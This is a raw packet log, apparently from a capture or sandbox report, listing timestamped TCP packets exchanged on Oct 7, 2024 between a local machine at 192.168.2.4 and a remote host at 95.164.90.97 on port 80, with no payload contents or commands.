Oct 7, 2024 03:15:40.600559950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600595951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600611925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600630999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600649118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600656033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600683928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600687981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600718975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600733042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600755930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600759983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600790024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600800991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600826979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600835085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600861073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600872040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600897074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600902081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600930929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600943089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600965977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600974083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600999117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601013899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601033926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601046085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601070881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601078033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601105928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601115942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601140976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601155996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601175070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601186991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601212025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601228952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601249933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601253986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601285934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601296902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601321936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601329088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601449013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601465940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601485014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601506948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601519108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601532936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601553917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601562023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601588964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601598978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601625919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601639986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601660013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601670980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601712942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601731062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601751089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601763010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601787090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601798058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601824999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.601838112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.601870060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621613026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621666908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621696949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621705055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621730089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621731997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621743917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621767998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621778011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621803045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621814966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621839046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621848106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621874094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.621889114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.621923923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.642075062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642153025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642210007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642222881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.642246008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.642263889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642266035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.642297983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642329931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642363071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642364979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.642399073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.642410040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.642765999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661000967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661099911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661128044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661165953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661180973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661205053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661206007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661242008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661247969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661278009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661298990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661314964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661329985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661349058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661364079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661382914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661417007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661433935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661451101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661473989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661485910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661508083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661521912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661529064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.661561966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.661602974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685209036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685241938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685276985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685333014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685336113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685362101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685369015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685406923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685425997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685429096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685461044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685472012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685504913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685516119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685554981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685558081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685597897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685610056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685662031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685663939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685698032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685709000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685731888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685745001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685780048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685794115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685843945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685847044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685894966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685904980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685937881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685954094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.685976028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.685985088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686018944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686022997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686054945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686068058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686100006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686110020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686156034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686162949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686197996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686211109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686233044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686244011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686278105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686285973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686331034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686340094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686374903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686388016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686410904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686422110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686445951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686460018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686491013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686500072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686534882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686548948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686572075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686578035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686618090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686625957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686660051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686672926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686707020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686717033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686752081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686764002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686785936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686801910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686824083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686831951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686871052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686877966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686913967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.686928034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686959982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.686965942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687000990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687014103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687040091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687053919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687089920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687099934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687135935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687140942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687175989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687190056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687220097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687228918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687279940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687282085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687316895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687325954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687352896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687360048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687393904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687407970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687443018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687457085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687484980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687493086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687520027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687532902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687555075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687572956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687589884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687599897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687625885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687638044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687660933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687670946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687691927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687707901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687726974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687732935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687762976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687773943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687798023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687808037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687833071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687845945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687868118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687880039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687903881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687911987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687938929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687951088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.687974930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.687994003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688014984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688028097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688050985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688060999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688085079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688097000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688123941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688129902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688158989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688168049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688195944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688203096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688230991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688265085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688278913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688302040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688317060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688338041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688352108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688378096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688389063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688412905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688420057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688448906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688468933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688483953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688492060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688518047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688527107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688551903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688560009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688585997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688595057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688625097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.688631058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.688674927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.708544970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.708600044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.708633900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.708657980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.708668947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.708683014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.708693981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.708707094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.708714962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.708743095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.708754063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.708780050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.708832026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.728884935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.728899002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.728918076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.728946924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.728970051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.728976965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.728986025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.729002953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.729008913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.729051113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.729837894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.747612953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747695923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747726917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747742891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747759104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747777939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747807980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747823000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747829914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747838974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747847080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747859001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.747864962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747874022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747894049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747904062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.747929096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.747941017 CEST	49737	80	192.168.2.4	95.164.90.97
